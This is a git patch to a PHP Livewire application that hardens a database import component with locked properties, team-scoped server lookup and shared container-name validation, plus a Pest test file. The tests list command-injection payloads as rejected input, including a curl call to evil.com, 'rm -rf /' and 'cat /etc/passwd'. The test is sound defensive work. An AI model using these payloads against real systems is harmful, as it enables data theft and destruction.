From d486bf09ab2da8ad78fa721a079f066c76ce08d2 Mon Sep 17 00:00:00 2001 From: Andras Bacsai <5845193+andrasbacsai@users.noreply.github.com> Date: Wed, 25 Mar 2026 20:21:39 +0100 Subject: [PATCH] fix(livewire): add Locked attributes and consolidate container name validation - Add #[Locked] to server-set properties on Import component (resourceId, resourceType, serverId, resourceUuid, resourceDbType, container) to prevent client-side modification via Livewire wire protocol - Add container name validation in runImport() and restoreFromS3() using shared ValidationPatterns::isValidContainerName() - Scope server lookup to current team via ownedByCurrentTeam() - Consolidate duplicate container name regex from Import, ExecuteContainerCommand, and Terminal into shared ValidationPatterns::isValidContainerName() static helper - Add tests for container name validation, locked attributes, and team-scoped server lookup Co-Authored-By: Claude Opus 4.6 --- app/Livewire/Project/Database/Import.php | 22 ++- .../Shared/ExecuteContainerCommand.php | 3 +- app/Livewire/Project/Shared/Terminal.php | 3 +- app/Support/ValidationPatterns.php | 8 ++ .../DatabaseImportCommandInjectionTest.php | 125 ++++++++++++++++++ 5 files changed, 158 insertions(+), 3 deletions(-) create mode 100644 tests/Feature/DatabaseImportCommandInjectionTest.php diff --git a/app/Livewire/Project/Database/Import.php b/app/Livewire/Project/Database/Import.php index 4675ab8f9..1cdc681cd 100644 --- a/app/Livewire/Project/Database/Import.php +++ b/app/Livewire/Project/Database/Import.php @@ -5,10 +5,12 @@ use App\Models\S3Storage; use App\Models\Server; use App\Models\Service; +use App\Support\ValidationPatterns; use Illuminate\Foundation\Auth\Access\AuthorizesRequests; use Illuminate\Support\Facades\Auth; use Illuminate\Support\Facades\Storage; use Livewire\Attributes\Computed; +use Livewire\Attributes\Locked; use Livewire\Component; class Import extends Component @@ -104,17 +106,22 @@ private function validateServerPath(string $path): bool public bool $unsupported = false; // Store IDs instead of models for proper Livewire serialization + #[Locked] public ?int $resourceId = null; + #[Locked] public ?string $resourceType = null; + #[Locked] public ?int $serverId = null; // View-friendly properties to avoid computed property access in Blade + #[Locked] public string $resourceUuid = ''; public string $resourceStatus = ''; + #[Locked] public string $resourceDbType = ''; public array $parameters = []; @@ -135,6 +142,7 @@ private function validateServerPath(string $path): bool public bool $error = false; + #[Locked] public string $container; public array $importCommands = []; @@ -181,7 +189,7 @@ public function server() return null; } - return Server::find($this->serverId); + return Server::ownedByCurrentTeam()->find($this->serverId); } public function getListeners() @@ -409,6 +417,12 @@ public function runImport(string $password = ''): bool|string $this->authorize('update', $this->resource); + if (! ValidationPatterns::isValidContainerName($this->container)) { + $this->dispatch('error', 'Invalid container name.'); + + return true; + } + if ($this->filename === '') { $this->dispatch('error', 'Please select a file to import.'); @@ -593,6 +607,12 @@ public function restoreFromS3(string $password = ''): bool|string $this->authorize('update', $this->resource); + if (! ValidationPatterns::isValidContainerName($this->container)) { + $this->dispatch('error', 'Invalid container name.'); + + return true; + } + if (! $this->s3StorageId || blank($this->s3Path)) { $this->dispatch('error', 'Please select S3 storage and provide a path first.'); diff --git a/app/Livewire/Project/Shared/ExecuteContainerCommand.php b/app/Livewire/Project/Shared/ExecuteContainerCommand.php index df12b1d9c..4ea5e12db 100644 --- a/app/Livewire/Project/Shared/ExecuteContainerCommand.php +++ b/app/Livewire/Project/Shared/ExecuteContainerCommand.php @@ -5,6 +5,7 @@ use App\Models\Application; use App\Models\Server; use App\Models\Service; +use App\Support\ValidationPatterns; use Illuminate\Support\Collection; use Livewire\Attributes\On; use Livewire\Component; @@ -181,7 +182,7 @@ public function connectToContainer() } try { // Validate container name format - if (! preg_match('/^[a-zA-Z0-9][a-zA-Z0-9_.-]*$/', $this->selected_container)) { + if (! ValidationPatterns::isValidContainerName($this->selected_container)) { throw new \InvalidArgumentException('Invalid container name format'); } diff --git a/app/Livewire/Project/Shared/Terminal.php b/app/Livewire/Project/Shared/Terminal.php index ae68b2354..bbc2b3e66 100644 --- a/app/Livewire/Project/Shared/Terminal.php +++ b/app/Livewire/Project/Shared/Terminal.php @@ -4,6 +4,7 @@ use App\Helpers\SshMultiplexingHelper; use App\Models\Server; +use App\Support\ValidationPatterns; use Livewire\Attributes\On; use Livewire\Component; @@ -36,7 +37,7 @@ public function sendTerminalCommand($isContainer, $identifier, $serverUuid) if ($isContainer) { // Validate container identifier format (alphanumeric, dashes, and underscores only) - if (! preg_match('/^[a-zA-Z0-9][a-zA-Z0-9_.-]*$/', $identifier)) { + if (! ValidationPatterns::isValidContainerName($identifier)) { throw new \InvalidArgumentException('Invalid container identifier format'); } diff --git a/app/Support/ValidationPatterns.php b/app/Support/ValidationPatterns.php index 7b8251729..bc19d52a5 100644 --- a/app/Support/ValidationPatterns.php +++ b/app/Support/ValidationPatterns.php @@ -163,6 +163,14 @@ public static function containerNameRules(int $maxLength = 255): array return ['string', 'max:'.$maxLength, 'regex:'.self::CONTAINER_NAME_PATTERN]; } + /** + * Check if a string is a valid Docker container name. + */ + public static function isValidContainerName(string $name): bool + { + return preg_match(self::CONTAINER_NAME_PATTERN, $name) === 1; + } + /** * Get combined validation messages for both name and description fields */ diff --git a/tests/Feature/DatabaseImportCommandInjectionTest.php b/tests/Feature/DatabaseImportCommandInjectionTest.php new file mode 100644 index 000000000..f7b1bbbed --- /dev/null +++ b/tests/Feature/DatabaseImportCommandInjectionTest.php @@ -0,0 +1,125 @@ +toBeTrue(); + expect(ValidationPatterns::isValidContainerName('my_container'))->toBeTrue(); + expect(ValidationPatterns::isValidContainerName('container123'))->toBeTrue(); + expect(ValidationPatterns::isValidContainerName('my.container.name'))->toBeTrue(); + expect(ValidationPatterns::isValidContainerName('a'))->toBeTrue(); + expect(ValidationPatterns::isValidContainerName('abc-def_ghi.jkl'))->toBeTrue(); + }); + + test('isValidContainerName rejects command injection payloads', function () { + // Command substitution + expect(ValidationPatterns::isValidContainerName('$(curl http://evil.com/$(whoami))'))->toBeFalse(); + expect(ValidationPatterns::isValidContainerName('$(whoami)'))->toBeFalse(); + + // Backtick injection + expect(ValidationPatterns::isValidContainerName('`id`'))->toBeFalse(); + + // Semicolon chaining + expect(ValidationPatterns::isValidContainerName('container;rm -rf /'))->toBeFalse(); + + // Pipe injection + expect(ValidationPatterns::isValidContainerName('container|cat /etc/passwd'))->toBeFalse(); + + // Ampersand chaining + expect(ValidationPatterns::isValidContainerName('container&&env'))->toBeFalse(); + + // Spaces (not valid in Docker container names) + expect(ValidationPatterns::isValidContainerName('container name'))->toBeFalse(); + + // Newlines + expect(ValidationPatterns::isValidContainerName("container\nid"))->toBeFalse(); + + // Must start with alphanumeric + expect(ValidationPatterns::isValidContainerName('-container'))->toBeFalse(); + expect(ValidationPatterns::isValidContainerName('.container'))->toBeFalse(); + expect(ValidationPatterns::isValidContainerName('_container'))->toBeFalse(); + }); +}); + +describe('locked properties', function () { + test('container property has Locked attribute', function () { + $property = new ReflectionProperty(Import::class, 'container'); + $attributes = $property->getAttributes(\Livewire\Attributes\Locked::class); + + expect($attributes)->not->toBeEmpty(); + }); + + test('serverId property has Locked attribute', function () { + $property = new ReflectionProperty(Import::class, 'serverId'); + $attributes = $property->getAttributes(\Livewire\Attributes\Locked::class); + + expect($attributes)->not->toBeEmpty(); + }); + + test('resourceId property has Locked attribute', function () { + $property = new ReflectionProperty(Import::class, 'resourceId'); + $attributes = $property->getAttributes(\Livewire\Attributes\Locked::class); + + expect($attributes)->not->toBeEmpty(); + }); + + test('resourceType property has Locked attribute', function () { + $property = new ReflectionProperty(Import::class, 'resourceType'); + $attributes = $property->getAttributes(\Livewire\Attributes\Locked::class); + + expect($attributes)->not->toBeEmpty(); + }); + + test('resourceUuid property has Locked attribute', function () { + $property = new ReflectionProperty(Import::class, 'resourceUuid'); + $attributes = $property->getAttributes(\Livewire\Attributes\Locked::class); + + expect($attributes)->not->toBeEmpty(); + }); + + test('resourceDbType property has Locked attribute', function () { + $property = new ReflectionProperty(Import::class, 'resourceDbType'); + $attributes = $property->getAttributes(\Livewire\Attributes\Locked::class); + + expect($attributes)->not->toBeEmpty(); + }); +}); + +describe('server method uses team scoping', function () { + test('server computed property calls ownedByCurrentTeam', function () { + $method = new ReflectionMethod(Import::class, 'server'); + + // Extract the server method body + $startLine = $method->getStartLine(); + $endLine = $method->getEndLine(); + $lines = array_slice(file($method->getFileName()), $startLine - 1, $endLine - $startLine + 1); + $methodBody = implode('', $lines); + + expect($methodBody)->toContain('ownedByCurrentTeam'); + expect($methodBody)->not->toContain('Server::find($this->serverId)'); + }); +}); + +describe('Import component uses shared ValidationPatterns', function () { + test('runImport references ValidationPatterns for container validation', function () { + $method = new ReflectionMethod(Import::class, 'runImport'); + $startLine = $method->getStartLine(); + $endLine = $method->getEndLine(); + $lines = array_slice(file($method->getFileName()), $startLine - 1, $endLine - $startLine + 1); + $methodBody = implode('', $lines); + + expect($methodBody)->toContain('ValidationPatterns::isValidContainerName'); + }); + + test('restoreFromS3 references ValidationPatterns for container validation', function () { + $method = new ReflectionMethod(Import::class, 'restoreFromS3'); + $startLine = $method->getStartLine(); + $endLine = $method->getEndLine(); + $lines = array_slice(file($method->getFileName()), $startLine - 1, $endLine - $startLine + 1); + $methodBody = implode('', $lines); + + expect($methodBody)->toContain('ValidationPatterns::isValidContainerName'); + }); +});